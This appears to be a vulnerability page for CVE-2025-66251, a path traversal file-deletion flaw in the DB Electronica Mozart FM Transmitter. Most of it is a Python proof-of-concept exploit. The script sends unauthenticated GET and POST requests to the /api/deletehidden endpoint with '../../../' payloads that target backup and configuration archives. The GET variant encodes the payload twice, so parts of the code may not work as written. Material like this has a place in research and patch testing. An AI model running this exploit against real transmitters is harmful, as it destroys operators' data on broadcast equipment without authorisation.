CVE-2025-66251 DB Electronica Mozart FM Transmitter 路径遍历任意文件删除漏洞

import requests import urllib.parse # CVE-2025-66251 PoC - Unauthenticated Path Traversal File Deletion # Target: DB Electronica Mozart FM Transmitter # Vulnerability: deletehidden parameter allows path traversal deletion of .tgz files target_url = "http://target-ip:port" delete_endpoint = f"{target_url}/api/deletehidden" # Path traversal payload to delete arbitrary .tgz file # This example attempts to delete a backup file outside the intended directory path_traversal_payload = "../../../var/backup/backup_data.tgz" encoded_payload = urllib.parse.quote(path_traversal_payload, safe='') params = { 'file': encoded_payload } print(f"[*] Sending malicious request to {delete_endpoint}") print(f"[*] Payload: {path_traversal_payload}") try: response = requests.get(delete_endpoint, params=params, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Request sent successfully - file deletion may have occurred") else: print("[-] Request failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative PoC using POST method post_data = { 'path': '../../../etc/config.tgz', 'action': 'delete' } print("\n[*] Trying POST request...") try: post_response = requests.post(delete_endpoint, data=post_data, timeout=10) print(f"[*] Status Code: {post_response.status_code}") print(f"[*] Response: {post_response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")